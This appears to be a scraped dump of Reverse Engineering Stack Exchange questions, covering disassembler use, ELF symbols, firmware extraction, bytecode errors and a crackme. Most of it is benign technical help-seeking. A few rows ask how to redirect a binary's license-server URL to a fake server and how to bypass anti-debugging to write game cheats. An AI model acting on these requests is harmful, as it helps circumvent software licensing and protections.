address of every function in .text so i can output something like objdump? + +i tried using string to see if the names store somewhere in the binary for example in symbol table, but couldn't find them anywhere in it! + +(note that I'm not talking about import functions and such, just the functions inside the actual main code in the .text section) +" +['ida']," Title: IDA ""unk_XXXXXX"" meaning?Body: I am new to reverse engineering. +Today when looking at IDA, I found this + + + +
if ( *(_UNKNOWN **)(this + 8) == &unk_4EDC58 )
+
+ +but I dont understand the part ""unk_4EDC58"". + +So can you help me ? Thank you ! +" +"['windows', 'unpacking']"," Title: Windows GUI app without GetMessage imported?Body: I am currently trying to reverse an app and I have one very stupid question I cannot figure out by myself. + +The app was packed using FSG 2.0 and I successfully manually unpacked it and rebuilt the IAT (at least I believe I did). +The app is a Windows 32 bits PE and it has a small GUI (it's a crackme that has one simple input and once you click ok, it just replies goodboy or badboy). + +From what I can see, it imports the SendMessage function and actually uses it but I can't find any GetMessage (nor PeekMessage) function imported. +Considering it is a GUI, is that even possible ? + +Any hints appreciated ! +" +"['binary-analysis', 'firmware', 'static-analysis', 'encryption', 'uefi']"," Title: me_cleaner and fwupd, or manipulating UEFI .cab filesBody: I'd like to extract a plain dump of the UEFI firmware of my laptop (1:1 copy of the flash content, often called .bin or .rom files) from the .cap file, so that I can modify it slightly with me_cleaner. +(The .cap file is a raw image compressed and wrapped with the flash tool as part of a capsule.) +Then I suppose one has to reconstruct the capsule so it's valid, and it has a chance of passing signature check when updating firmware with fwupd. + +My machine is a Thinkpad T460s, which is supported by fwupd/LVFS +https://fwupd.org/lvfs/device/com.lenovo.ThinkPadN1CHT.firmware +and the me_cleaner tool is described at +https://github.com/corna/me_cleaner/wiki/Internal-flashing-with-OEM-firmware + +In particular, I'd be happy with just me_cleaner.py -s <firmware image>, where -s is setting the HAP bit, and not modifying the actual image, so it may still pass signature check. + +Any hint where to start? + +Possibly related question: Reverse engineering UEFI CAP files +" +"['file-format', 'binary']"," Title: Edit unknown binary fileBody: I have here an unknown binary file which contains a graphical user interface. +The file has the ending .kzb and it comes from the Kanzi desinger. +Unfortunately the Kanzi desinger can no longer edit the extracted binary file. Apparently you can only change something if you have the original project. +The file contains pictures that I would like to change. +I know that it has to work, because someone has already done it, but doesn't want to reveal the secret :) +Here is the file I want to customize. +https://drive.google.com/drive/folders/1Z-RCdVGJv_jkKHcL3o_saOZz8sluMMG1?usp=sharing +In the file is a Chinese and an English flag (as .png) which I would like to change / swap. +" +"['windows', 'c', 'winapi']"," Title: GetWindowLongPtr with undocumented nIndex of -1Body: I'm trying to reverse functionality of scrollbars in comctrl32.dll and I keep witnessing them calling GetWindowLongPtr function with undocumented index -1 as such: + + + +Does anybody know what that function returns in that case? +" +"['decryption', 'anti-debugging', 'php']"," Title: Can any one de-obfuscator this php codeBody: my developer has changed all his contact info and i am unable to contact him +and i want to move my site to another server but because of this obfuscator code in my php script i am unable to move my site can any one please decode this php file +obfuscator code +" +"['c++', 'c', 'fuzzing']"," Title: Fuzz Test Suite for C/C++ Command Line Argument/Standard Input programsBody: I have implemented a basic coverage guided fuzzer that is sending inputs to programs accepting ONE command line argument or ONE standard input. I am trying to find a complex code to fuzz that can meet my requirements: + +
    +
  1. Code should have atleast 500 lines
  2. +
  3. Code should be in only one C/C++ file
  4. +
+ +I have tried finding open source projects but they are not meeting my requirements. + +If someone knows how can I go about finding one please let me know OR if you are aware of such a code then also please let me know. + +P.S. I do not want to write my own buggy code. +" +['ida']," Title: Red text Highlight in IDA ProBody: Why do some command in IDA have red text highlight around them? +e.g. + +" +"['radare2', 'debuggers']"," Title: When reopening file lose all information in radare2Body: I have problem with my radare2, when I try to reopen file in debug mode (ood) my radare loses all informations about that file. + + + +any help to avoid this? +" +['anti-debugging']," Title: Bypassing anti-debuggingBody: I'm trying to RE Stardew Valley to write cheats for it. The problem is that when I trace the pointers for my health/energy/etc... back more than one level the game crashes. It probably has some kind of anti-debugging checks in it. I looked into it a little bit and apparently there's a bunch of things they can do to detect debuggers and exit - does anyone know of a good way to figure out what they're doing without just searching the binary in IDA? I could do that but it seems like a bit of a pain in the arse. +" +"['ida', 'disassembly', 'binary-analysis', 'arm', 'ghidra']"," Title: How to split ARM code/data from binary in Inmarsat Isatphone Pro?Body: I'm analyzing the 3 binaries for updating firmware to the Inmarsat Isatphone Pro phone. Additionally, I'm following the Groundworks Technologies paper, and attempting to recreate their work as a learning exercise. + +It was explained that in both File1.bin and File2.bin there was both ARM926EJ-S code and Blackfin DSP code combined. I'm interested in looking at the ARM code, but am not clear on how to separate one from another. Using binja and Ghidra at the moment... + +How can the ARM code get isolated, and what's the best way to decompile down to seeing functions like RegisterATCmdHook() and RegisterPendingATCmdHook()? + +Paper is available here: https://uploadfiles.io/2l0f9ulc +" +"['binary-analysis', 'x86', 'binary']"," Title: What type of function gets called using a register instead of address in the binary? how to find the address statically?Body: So I'm trying to write a reversing tool right now and trying to make a CALL graph + +the problem I'm having is some calls are like Call *eax instead Call 'address' + +I can easily generate the call-graph with absolute calls, but not with these + +so i have three questions : + +
    +
  1. what type of functions get called using register instead of absolute? +i want to only generate call graph for functions inside the main program and not libraries and etc, do i need to worry about register calls or these are only used for special functions? if so, why? ( even if these are only for library functions i dont get why can't they be converted into absolute address during relocation??)
  2. +
  3. if i wanted to check what is the function that is being called aka by reading the register, is this possible using static analysis or i have to do dynamic analysis?
  4. +
  5. can i make a decent call-graph using static analysis, meaning by only reading the binary? do popular tools like IDA use static to generate call graph as well? or will i face real problems if i do so?
  6. +
+" +"['malware', 'static-analysis', 'dynamic-analysis', 'pe-resources']"," Title: How can I know what the executable is missing to run?Body: I have extracted a presence of MZ file from memory which happen to be available in VirusTotal ( might be a malicious executable). However, I could not run the program. It seems to have some missing resources. It claims that the debug information is missing, and the PDB is incomplete (Executable compiled with Visual Studio). I am still a beginner and I am wondering if that is truly relevant for the program not being able to run? I thought that the debug information is not necessary to run a program, am I correct? I have an assumption that the program is flagged somewhere to make it act as in debugging mode until it receives something? Not sure if my assumption is even possible. +If anyone can direct me by answering my questions or advising me where to look to find what is missing. Even answering by saying my claim is irrelevant can also help me a lot. +" +"['linux', 'embedded']"," Title: Help needed to extract u-boot kernel & rootfs - nxp lpc 3143 processorBody: I have a board where in principle aim at emulating a DVD-ROM loading iso file from a drive. +This board is running a ARM CPU with 32MB of ram and has no vga output. +The firmware update comes with 2 files called uImage and rootfs that needs to copied into the SDCARD. +I have tried: + +
$ mkimage -l uImage
+GP Header: Size 9411c123 LoadAddr 7f1c7cb5
+
+$ mkimage -l rootfs
+Image Type:   Freescale IMX Boot Image  
+Image Ver:    2 (i.MX53/6/7 compatible)  
+Mode:         PLUGIN  
+Plugin Data Size:     302835498 Bytes = 295737.79 KiB = 288.81 MiB  
+Plugin Code Size:     0 Bytes = 0.00 KiB = 0.00 MiB  
+Plugin Load Address:  6c9053ca  
+Plugin Entry Point:   3533782f  
+U-Boot Data Size:     302835498 Bytes = 295737.79 KiB = 288.81 MiB  
+U-Boot Load Address:  6c9053ca  
+U-Boot Entry Point:   3533782f  
+
+From dumpimage +
$ dumpimage -l rootfs  
+Image Type:   Freescale IMX Boot Image  
+Image Ver:    2 (i.MX53/6/7 compatible)  
+Mode:         PLUGIN  
+Plugin Data Size:     302835498 Bytes = 295737.79 KiB = 288.81 MiB  
+Plugin Code Size:     0 Bytes = 0.00 KiB = 0.00 MiB  
+Plugin Load Address:  6c9053ca  
+Plugin Entry Point:   3533782f  
+U-Boot Data Size:     302835498 Bytes = 295737.79 KiB = 288.81 MiB  
+U-Boot Load Address:  6c9053ca  
+U-Boot Entry Point:   3533782f  
+
+$ dumpimage -l uImage  
+GP Header: Size 9411c123 LoadAddr 7f1c7cb5  
+
+Data part is strange as the file is 40MB and not 300MB by the way as shown above. +I have tried removing the 64bit header of both and re-run all the above with no luck so far. +I have seen a post for this device with a screenshot of the boot sequence, so it might be encrypted but not sure.
+ +I just want to add an additional driver/module to get higher Ethernet performance. +If someone here as experience in u-boot with Freescale i.MX that would be great. +The picture of the board:
+ +" +"['x86', 'c', 'elf', 'binary', 'x86-64']"," Title: Is the main function's name in the symbol table of C & C++ programs always 'main'? if not, how to find the name?Body: So I'm trying to write a reversing tool that parses symbol table to find the main function's address + +right now all the binaries I'm checking the name of main function is still main in symbol table + +my question is can this change? because right now my check to finding the main function is that string being equal to main + +if it can change, what are the possible values? if it can have too many possible values then how can i find it in the binary? +" +"['binary-analysis', 'x86', 'c', 'elf', 'binary']"," Title: How to find the index of static ilbrary functions in the PLT of the binary?Body: So right now I'm trying to resolve function calls and their names in my reversing tool + +the problem I'm having is that library functions such as printf and fwrite and such do not have a corresponding address in symbol table unlike functions inside the actual program which do contain a virtual address in the symbol table and therefore i can resolve their name when they are called statically + +basically i want to resolve the name of functions even static library functions like printf just like how readelf does (i tried readelf and indeed it does resolve the name of printf even tho it says the address value of printf inside symbol table is 0 unlike other functions so not sure how does it realize the offset of printf inside plt) + +so i have these questions : + +
    +
  1. how to find the index or address of printf in the PLT so i can resolve its name when i see a ""Call address""
  2. +
  3. why doesn't the symbol table contain the virtual address of these functions unlike functions inside the code? considering these are static libraries and are statically linked in that program, shouldn't they have a fixed address just like other functions?
  4. +
  5. the program is only a printf function inside main and only included stdio.h, now my understanding is that i included the stdio.h statically considering i included it in the beginning and didnt use any specific option while compiling. so why is it going into PLT instead of .text section and having a static address? i thought when i include a library in the beginning it basically copy and pastes it into my .text section?
  6. +
+" +['binary']," Title: ISO8859-1 serialization for stringsBody: I am currently investigating a weird layout for storing of what appears to be strings (medical format). + +Looking at the dump for a bunch of those strings here is what I see: + +
$ hexdump -C out0000 
+00000000  df ff 79 17 01 09 00 49  53 4f 38 38 35 39 2d 31  |..y....ISO8859-1|
+00000010  02 08 00 30 30 30 30 30  30 30 30                 |...00000000|
+0000001b
+$ hexdump -C out0001
+00000000  df ff 79 19 01 09 00 49  53 4f 38 38 35 39 2d 31  |..y....ISO8859-1|
+00000010  02 0a 00 83 74 83 40 83  93 83 67 83 80           |....t.@...g..|
+0000001d
+$ hexdump -C out0009
+00000000  df ff 79 21 01 09 00 49  53 4f 38 38 35 39 2d 31  |..y!...ISO8859-1|
+00000010  02 12 00 91 71 95 7e 90  ac 90 6c 95 61 83 5a 83  |....q.~...l.a.Z.|
+00000020  93 83 5e 81 5b                                    |..^.[|
+00000025
+$ hexdump -C out0002
+00000000  df ff 79 16 01 09 00 49  53 4f 38 38 35 39 2d 31  |..y....ISO8859-1|
+00000010  02 07 00 46 41 4e 54 4f  4d 55                    |...FANTOMU|
+0000001a
+$ hexdump -C out0004
+00000000  df ff 79 0f 01 09 00 49  53 4f 38 38 35 39 2d 31  |..y....ISO8859-1|
+00000010  02 00 00                                          |...|
+00000013
+
+ +Has anyone seen this format before ? What is this ? + +
+ +Steps to extract those weird strings: + +
    +
  1. You need an instance (image) from a Toshiba MRT200SP5,
  2. +
  3. Extract the Original Data, using eg.: + +gdcmraw -t 700d,1008 toshiba_input.dcm original_data.raw
  4. +
  5. Use the work in progress dump4.c to process one portion of it (Type = WSTRING)
  6. +
+" +"['debugging', 'memory', 'cheat-engine']"," Title: Do all games have static base addresses for values like gold and energy?Body: I am currently reversing Stardew Valley and I have been trying to trace the pointers to a static base address for values like gold and energy. The problem is that I can't find any static base addresses. It seems like no matter what path I take I end up getting instructions that nothing accesses. I searched online and someone said the same thing, and mentioned something about it being managed code written with .NET. My question is this: Is it possible that the game doesn't have static base addresses for these values, and, if so, how would I go about finding the values automatically if there's no static address? +" +"['binary-analysis', 'firmware', 'embedded']"," Title: Unable to extract IP camera firmwareBody: I am trying to extract the firmware for a Panasonic WV-S2131L ip camera. It comes as a .zip file that contains a .img file. I have tried many methods to try to analyze this file and I have found nothing of value. + +Binwalk returned absolutely nothing + +xxd at least gave me back the firmware version + +
+ xxd -a s1131_402ES.img | head + 00000000: 342e 3032 4530 0000 302e 3030 0000 0000 4.02E0..0.00.... + 00000010: 1314 0000 1314 0000 0004 0000 8000 b003 ................ + 00000020: 1f06 0000 0000 0000 0000 0000 0000 0000 ................ + 00000030: 0000 0000 0000 0000 0000 0000 0000 8000 ................ + 00000040: 0000 0000 0000 0000 0000 8000 0000 2003 .............. . + 00000050: 0000 0000 0000 0000 0000 a003 9601 0000 ................ + 00000060: 0100 0000 0000 0000 0100 0000 0000 0000 ................ + 00000070: 0000 0000 0000 0000 0000 0000 0000 797d ..............y} + 00000080: 5e12 3e81 1370 6400 a6fa c4e5 058b 3136 ^.>..pd.......16 + 00000090: 5630 f8f0 2878 5f56 7788 279b a597 114c V0..(x_Vw.'....L +
+ +A complete hex dump revealed no recognizable string + +FDisk said there was no recognizable file system + +7zip thinks it's corrupt + +I'm thinking that it has to be some type of binary image but since no tools, I've tried have given any indication that any recognizable partitions or files existed, maybe it's obfuscated or has some type of encryption. +" +"['debuggers', 'tools']"," Title: Logging the Instruction Pointer RegisterBody: Is there a tool that logs the value the IP register of a specific process running? +I am trying to compare the instruction excution before and after a file modification. +" +"['c++', 'functions']"," Title: Is it possible to call external functions?Body: I was wondering, assuming I wrote a dll in C++ and could access another application's memory, is it possible to call outside functions if I had the address? +" +['ida']," Title: IDA change string in rdataBody: This has probably already been asked a million times, but how would I change the http://iristech.co/custom-code/iris_license.php? +tohttp://fakeliscenceserver.com/ +Thanks. +" +"['java', 'byte-code']"," Title: Constant pool errorBody: To debug a jar file, i tried to modify java bytecode using JByteMod tool and print some variable to standard output. The variable i'm trying to print is an ArrayList. Specifically, it's a public attribute of class MethodNode, named outgoings_. The code is something like this: + + + +
invokeinterface Object Iterator.next()
+checkcast MethodNode
+astore 4
+######## my code begins from here #######
+getstatic PrintStream System.out
+aload 4
+getfield List MethodNode.outgoings_
+invokevirtual void PrintStream.println(Object)
+
+ +The above code works fine and actually prints the list. For some reasons, i needed to print the first element of that list, so i changed the code: + + + +
invokeinterface Object Iterator.next()
+checkcast MethodNode
+astore 4
+######## my code begins from here #######
+getstatic PrintStream System.out
+aload 4
+getfield List MethodNode.outgoings_
+iconst_0
+invokeinterface Object List.get(int)
+invokevirtual void PrintStream.println(Object)
+
+ +But this code fails to run and outputs this error: + +
Exception in thread ""main"" java.lang.reflect.InvocationTargetException
+    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:498)
+    at org.eclipse.jdt.internal.jarinjarloader.JarRsrcLoader.main(JarRsrcLoader.java:58)
+Caused by: java.lang.VerifyError: Illegal type at constant pool entry 67 in class wy2.SCCUtil
+Exception Details:
+  Location:
+    wy2/SCCUtil.buildScc(Lwy/CallGraph;)V @51: invokeinterface
+  Reason:
+    Constant pool index 67 is invalid
+  Bytecode:
+    0x0000000: bb00 1f59 b700 204d bb00 1659 b700 174e
+    0x0000010: 2bb4 0026 b900 2c01 003a 05a7 0029 1905
+    0x0000020: b900 3401 00c0 0036 3a04 b200 3c19 04b4
+    0x0000030: 003f 03b9 0043 0200 b600 492a 2b19 042c
+    0x0000040: 2db6 004d 1905 b900 5101 009a ffd3 2db9
+    0x0000050: 0054 0100 a700 6f2c b600 57c0 0036 3a04
+    0x0000060: 2d19 04b9 005b 0200 9900 06a7 0058 bb00
+    0x0000070: 5d59 b700 5e3a 052a 2b19 042d 1905 b400
+    0x0000080: 61b6 0065 1905 b400 61b9 0066 0100 3a07
+    0x0000090: a700 1d19 07b9 0034 0100 c000 363a 062a
+    0x00000a0: b400 1419 0619 05b9 006c 0300 5719 07b9
+    0x00000b0: 0051 0100 9aff df2a b400 1919 05b9 006f
+    0x00000c0: 0200 572c b600 7299 ff90 2ab4 0019 b900
+    0x00000d0: 6601 003a 05a7 0107 1905 b900 3401 00c0
+    0x00000e0: 005d 3a04 1904 b400 61b9 0066 0100 3a07
+    0x00000f0: a700 d319 07b9 0034 0100 c000 363a 0619
+    0x0000100: 06b4 003f b900 2c01 003a 09a7 004c 1909
+    0x0000110: b900 3401 00c0 0036 3a08 2bb4 0026 1908
+    0x0000120: b900 7302 009a 0006 a700 2f2a b400 1419
+    0x0000130: 08b9 0076 0200 1904 a600 06a7 001c 1904
+    0x0000140: b400 782a b400 1419 08b9 0076 0200 c000
+    0x0000150: 5db9 006f 0200 5719 09b9 0051 0100 9aff
+    0x0000160: b019 06b4 007b b900 2c01 003a 09a7 004c
+    0x0000170: 1909 b900 3401 00c0 0036 3a08 2bb4 0026
+    0x0000180: 1908 b900 7302 009a 0006 a700 2f2a b400
+    0x0000190: 1419 08b9 0076 0200 1904 a600 06a7 001c
+    0x00001a0: 1904 b400 7e2a b400 1419 08b9 0076 0200
+    0x00001b0: c000 5db9 006f 0200 5719 09b9 0051 0100
+    0x00001c0: 9aff b019 07b9 0051 0100 9aff 2919 0419
+    0x00001d0: 04b4 0078 b900 8201 00b5 0086 1905 b900
+    0x00001e0: 5101 009a fef5 b1                      
+  Stackmap Table:
+    full_frame(@30,{Object[#2],Object[#34],Object[#31],Object[#46],Top,Object[#48]},{})
+    same_frame(@68)
+    chop_frame(@87,2)
+    append_frame(@110,Object[#54])
+    append_frame(@147,Object[#93],Top,Object[#48])
+    same_frame(@173)
+    full_frame(@195,{Object[#2],Object[#34],Object[#31],Object[#46]},{})
+    append_frame(@216,Top,Object[#48])
+    full_frame(@243,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Top,Object[#48]},{})
+    full_frame(@270,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Object[#54],Object[#48],Top,Object[#48]},{})
+    full_frame(@299,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Object[#54],Object[#48],Object[#54],Object[#48]},{})
+    same_frame(@318)
+    full_frame(@343,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Object[#54],Object[#48],Top,Object[#48]},{})
+    same_frame(@368)
+    full_frame(@397,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Object[#54],Object[#48],Object[#54],Object[#48]},{})
+    same_frame(@416)
+    full_frame(@441,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Object[#54],Object[#48],Top,Object[#48]},{})
+    full_frame(@451,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Top,Object[#48]},{})
+    full_frame(@476,{Object[#2],Object[#34],Object[#31],Object[#46],Top,Object[#48]},{})
+
+    at wy2.Util.buildMethodHash2(Util.java:132)
+    at wy2.Util.doIt(Util.java:29)
+    at wy2.Main.genData(Main.java:68)
+    at wy2.Main.main(Main.java:59)
+    ... 5 more
+
+
+ +What i'm doing wrong? Is it a JByteMod bug? + +EDIT: + +Here are the links to the class file before and after modification. +" +"['disassembly', 'debugging', 'radare2', 'crackme']"," Title: crackme disassembly - are these local variables ever initialized?Body: I'm working on a crackme, where the objective is to find the valid password given a program. I'm using radare2 to reverse engineering the program. To do so, I need to enter a password that forces this program to bypass all the conditional jumps (jne's, jle's, jg's throughout). + +Thus far, I've only concluded that the password must be 4 characters long, and the lowest 8 bits is 0x79, or ASCII character 'y' (please correct me if I'm wrong). The first N disassembled bytes (until I get stuck) are given below: + +
root@kali:~/Exploit_Class_NSL/Week1/Exercise4# r2 -AAAA example4 
+[x] Analyze all flags starting with sym. and entry0 (aa)
+[x] Analyze function calls (aac)
+[x] Analyze len bytes of instructions for references (aar)
+[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
+[x] Enable constraint types analysis for variables
+[0x00401080]> pdf @main
+            ;-- main:
+/ (fcn) sym.main 201
+|   sym.main (int argc, char **argv, char **envp);
+|           ; var int local_20h @ rbp-0x20
+|           ; var int local_14h @ rbp-0x14
+|           ; var int local_5h @ rbp-0x5
+|           ; var int local_4h @ rbp-0x4
+|           ; var int local_3h @ rbp-0x3
+|           ; var int local_2h @ rbp-0x2
+|           ; arg int argc @ rdi
+|           ; arg char **argv @ rsi
+|           ; DATA XREF from entry0 (0x40109d)
+|           0x00401162      55             push rbp
+|           0x00401163      4889e5         mov rbp, rsp
+|           0x00401166      4883ec20       sub rsp, 0x20
+|           0x0040116a      897dec         mov dword [local_14h], edi  ; argc
+|           0x0040116d      488975e0       mov qword [local_20h], rsi  ; argv
+|           0x00401171      488d3d8c0e00.  lea rdi, qword str.enter_the_password: ; 0x402004 ; ""enter the password: ""
+|           0x00401178      b800000000     mov eax, 0
+|           0x0040117d      e8cefeffff     call sym.imp.printf         ; int printf(const char *format)
+|           0x00401182      488b15c72e00.  mov rdx, qword [obj.stdin__GLIBC_2.2.5] ; obj.__TMC_END ; [0x404050:8]=0
+|           0x00401189      488d45fb       lea rax, qword [local_5h]
+|           0x0040118d      be05000000     mov esi, 5
+|           0x00401192      4889c7         mov rdi, rax
+|           0x00401195      e8c6feffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
+|           0x0040119a      488d45fb       lea rax, qword [local_5h]
+|           0x0040119e      4889c7         mov rdi, rax
+|           0x004011a1      e89afeffff     call sym.imp.strlen         ; size_t strlen(const char *s)
+|           0x004011a6      4883f804       cmp rax, 4                  ; 4
+|       ,=< 0x004011aa      7559           jne 0x401205
+|       |   0x004011ac      0fb645fb       movzx eax, byte [local_5h]
+|       |   0x004011b0      3c79           cmp al, 0x79                ; 'y' ; 121
+|      ,==< 0x004011b2      7554           jne 0x401208
+|      ||   0x004011b4      0fb645fc       movzx eax, byte [local_4h]
+|      ||   0x004011b8      0fbed0         movsx edx, al
+|      ||   0x004011bb      0fb645fd       movzx eax, byte [local_3h]
+|      ||   0x004011bf      0fbec0         movsx eax, al
+|      ||   0x004011c2      01d0           add eax, edx
+|      ||   0x004011c4      3dda000000     cmp eax, 0xda               ; 218
+|     ,===< 0x004011c9      7540           jne 0x40120b
+|     |||   0x004011cb      0fb645fd       movzx eax, byte [local_3h]
+|     |||   0x004011cf      3c6c           cmp al, 0x6c                ; 'l' ; 108
+|    ,====< 0x004011d1      7e3b           jle 0x40120e
+
+ +At 0x004011b4 is where I start to get stuck. + +
|      ||   0x004011b4      0fb645fc       movzx eax, byte [local_4h]
+|      ||   0x004011b8      0fbed0         movsx edx, al
+|      ||   0x004011bb      0fb645fd       movzx eax, byte [local_3h]
+|      ||   0x004011bf      0fbec0         movsx eax, al
+|      ||   0x004011c2      01d0           add eax, edx
+|      ||   0x004011c4      3dda000000     cmp eax, 0xda               ; 218
+|     ,===< 0x004011c9      7540           jne 0x40120b
+
+ +Are local variables local_3h and local_4h ever initialized? If so, how? How should I go about stepping through this on my own? + +I've tried toying around with different functions in r2, like afvd, e [ ], etc., but haven't gotten anywhere yet. + +Any tips appreciated. Thanks! +" +"['arm', 'ghidra']"," Title: In Ghidra what do I need to set so disassembler is in Thumb mode instead of ARMBody: In IDA I would press Alt+G and set the T register to 1 to first the code to be Thumb, but in Ghidra am not not sure how to force it. + +The context is I have some functions pointed to by a data structure, I have set those to have a data type of a new function pointer type, so I am not sure if I really just need to re-analyze the code, and it will flow correctly (also not sure how to that), Or if I just need to manually force it. + +[Edit:]I originally selected ARMv4 as my target, after doing some reading ARM architecture and starting again with ARMv7 the code correctly has Thumb support. +" +"['radare2', 'patching']"," Title: How to write sequence of machine code in radare2?Body: I know how to write an opcode and how to increment and decrement machine code using plus and minus keys. However, how do I write a sequence of machine code at an offset? + +E.g. if I want to write five 0x90, how would I do that? +" +['ghidra']," Title: Can Ghidra show a function footer in the Listing windowBody: In both IDA and Ghidra have a very nice beginning of function marker text + +Ghidra: + +
**************************************************************
+*                          FUNCTION                          * 
+**************************************************************
+
+ +IDA: + +
; =============== S U B R O U T I N E =======================================
+
+ +what I am struggling with is the lack of end function marker in Ghidra + +IDA: + +
; End of function eyefi_cmd_o
+
+ +am I missing a configuration option? +" +"['decompilation', 'decryption', 'encryption', 'cryptography', 'decompiler']"," Title: Is it possible to recover the key to a decrypted file?Body: Is it possible to recover the key to a decrypted file if you have the initialization vector and it uses RijndaelManaged? If so how? + +The file I want to recover the key from is a xml that looks like this without encryption. It has a xml element called Test. + +
<?xml version=""1.0"" encoding=""utf-8""?>
+<Test />
+
+ +When it is encrypted with the key stackoverflow (73868cb1848a216984dca1b6b0ee37bc = md5 hash) and the initialization vector below, the file look like this ¥4!¬Hw[î!71ôtž|!¢¬TÞ;u?þª-†•ÈωeߎKtSsbZ®ÕµR©Ù«í‹: + + + +Initialization vector: + +
byte[] iv = new byte[]
+{
+    55, 66, 77, 192, 57, 100, 11, 111,
+    25, 86, 96, 66, 22, 122, 133, 43
+};
+
+ +Is it possible to reverse the key from that or are it bulletproof? +" +['hexrays']," Title: How can I follow virtual function calls in IDA?Body: I'm trying to reverse a video game that was made with the CryEngine 5 game engine. CryEngine 5 source code is available on GitHub, so I can look at the CryEngine source code and cross reference with the game in IDA to find a lot of information. + +Here is a snippet of code from the CryEngine source code: + + + +As you can see, there is a class called ISystem, and it has a virtual method GetIPhysicalWorld which is being called. I have found the same virtual function call in IDA within the specific game that I'm trying to reverse: + + + +My question is: in IDA, how can I find the address of the virtual function that is being called (GetIPhysicalWorld)? Also, how can I find the vtable of the ISystem class in IDA? +" +['ghidra']," Title: Use ghidra decompiler with command lineBody: Is there a way to run ghidra from command line ? + +GUI interface is very heavy. + +What i want is just to get functions list and decompile them in c. + +Thanks +" +"['radare2', 'machine-code']"," Title: How to increment and decrement machine code in radare2?Body: I watched a video (I believe it was a talk by the author of radare2) of how to increment machine code in radare2 very easily, simply by hitting 'c' and then using + and - to respectively increment and decrement machine code. + +However, now, when I hit v and then p to get to the visual mode where I can see disassembled code, I hit c, I can move the cursor around, but I can't increment and decrement machine code any longer. + +Am I remembering this incorrectly? Clearly I need to take better notes, because I find it hard to find this information in the myriad of online ""cheat sheets"" and tutorials that always seem to talk about something else than what I'm really after. +" +"['malware', 'dynamic-analysis']"," Title: Difficulty in debugging with dnSpyBody: I have a dotnet malware sample that I'm trying to debug with dnSpy. It has string obfuscation (contains function names such as BarriersBottomed, etc.) I cleaned the sample using de4dot and renamed functions to make them more understandable. + +I placed a breakpoint on Main and also specified in the debug settings to break at Entry Point, but the program never hits the breakpoint. When I click on Start, it runs for a few seconds and then I get a dnSpy error: + +
An unhandled exception occurred in kahjvb-cleaned.exe (2160)
+Exception: ???
+Message: ""<no exception message>""
+
+ +So, in the Debug options I checked the Ignore unhandled exceptions and restarted debugging with the same options as before. Now, the debugger just runs for a few seconds and the debugging process completes. It still doesn't hit the breakpoint. + +Has anyone faced an issue of this type before or has any insights into this problem? Thanks for the help! +" +"['obfuscation', '.net', 'protection', 'vmprotect']"," Title: How to choose a .NET software protector which will have a small impact on run-time performance speed?Body: I am writing a .NET software which is doing calculations and drawing in real-time i.e when the user is moving the mouse. I want to protect this software from being reverse engineered and restrict its execution to only a specific computer based on Hardware ID. What .NET software protector would be a good choice for this scenario ? I came after Themida and VMProtector which I found to be promising. What is your opinion about the security options that these software offer with respect to the impact they have on the executable's run-time performance? Do you know any other available tool suitable for the case I am describing ? +" +['decryption']," Title: Difficulty decrypting LCG stringBody: I'm trying to analyze some malware. To get the hang of it I am following the decoding process on this website: + +Here is a description of the string encoding/decoding process: + +
+ String encoding utilizes LCG fed by the new PRNG + algorithm, while the generated keys are then subtracted from each + ciphertext byte to generate the plaintext string. The first DWORD in + the encoded string is used as the seed, while that same value is + XOR’ed against the second DWORD to calculate the size of the encoded + string. The encoded string begins at the position after the second + DWORD. Most suspicious strings in the unpacked DLL are encoded + using this method. +
+ +Here is the python PRNG method provided by the article that I am using: + +
+ def prng(seed): + return ((seed * 0x41C64E6D) + 0x3039 ) & 0xFFFFFFFF +
+ +Then you are supposed to decrypt some encrypted traffic using a PHPSESSID cookie encoded with this scheme: + + + +I am only trying to turn the encoded cookie into the decoded cookie. However, I cannot replicate the results on my own. +My first problem is that I cannot seem to find the initial correct seed. I know it is supposed to be the first dword, but is it the dword of the cookie as it is (5C8EC19e) or, since this cookie is in ASCII, is the dword referring to the hex value of ""5C8E""(35433845)? I have tried both ways, using the given algorithm, and cannot match the decoded string. + +I'm also confused because it seems like I can get pretty close to the decoded value by not using dwords at all. If I xor the first (5C) and second(8E) bytes of the encrypted cookie, I get D2, which is the appropriate number in the decoded cookie. If I continue xor-ing 5C with the next two numbers, C1 and 9E, I get 9D and C2, which are one off from the actual decoded values. Is this just a coincidence? + +TL;DR: +The PRNG algorithm is provided as the appropriate decryption function by the article I am following. The body of the HTTP message is encrypted using an RC4 key. The RC4 key is encoded within the PHPSESSID cookie. I believe, based on what I read in the article, that the RC4 key is decrypted from the PHPSESSID cookie using this PRNG function. It may be that the PRNG function is not the correct function for this - I can't get it to work. I just want to know how the encoded PHPSESSID is becoming the decoded PHPSESSID +" +"['binary-analysis', 'x86', 'elf', 'static-analysis', 'binary']"," Title: How to find the starting address of main function when the binary is stripped and _start doesn't push the absolute address value of main?Body: So let's say the ELF binary is stripped - meaning no symbol table - and the _start function doesn't push the address of main before calling __libc_start_main. + +This happened in a binary when compiled for both 32-bit and 64-bit architectures, not sure why sometimes _start doesn't push the absolute value and instead pushes a register value (if anyone knows please let me know). + +Is there any way in this situation that I can generate the call-graph (without names) of the binary starting from main? Is there any way I can find the address of main? because right now it pushes a register value on the stack and the absolute address of main doesn't appear in any instruction! + +I've added the a sample of the startup routine for a 32 bit version of a simple C program, compiled with gcc with -m32 (the 64 bit version is kinda the same in this section, no absolute address). + +I'm not sure why some of my 32 bit programs push the absolute address of main before calling __libc_main_start and some don`t. Please let me know if you know the answer. + +
00001070 <_start>:
+    1070:       31 ed                   xor    ebp,ebp
+    1072:       5e                      pop    esi
+    1073:       89 e1                   mov    ecx,esp
